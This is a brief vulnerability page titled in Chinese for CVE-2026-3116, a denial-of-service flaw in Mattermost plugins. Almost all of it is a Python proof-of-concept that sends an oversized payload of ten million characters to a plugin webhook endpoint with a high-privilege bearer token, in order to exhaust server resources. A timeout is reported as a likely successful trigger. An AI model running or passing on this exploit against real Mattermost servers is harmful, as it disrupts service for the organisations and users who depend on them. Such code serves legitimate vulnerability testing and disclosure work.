CVE-2026-3116 Mattermost Plugins 拒绝服务漏洞

import requests # PoC for CVE-2026-3116: Mattermost Plugins DoS via Webhook # Description: Sends a large payload to the webhook endpoint to trigger resource exhaustion. TARGET_URL = "http://target-mattermost.com/plugins/WEBHOOK_ID" AUTH_TOKEN = "YOUR_HIGH_PRIVILEGE_TOKEN" # Requires High Privileges (PR:H) headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Generate a large payload to bypass size validation malicious_payload = { "text": "A" * 10000000, "trigger_word": "exploit" } try: print("[*] Sending large payload to webhook endpoint...") response = requests.post(TARGET_URL, json=malicious_payload, headers=headers, timeout=5) print(f"[+] Server responded with status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - potential successful DoS trigger") except Exception as e: print(f"[!] An error occurred: {e}")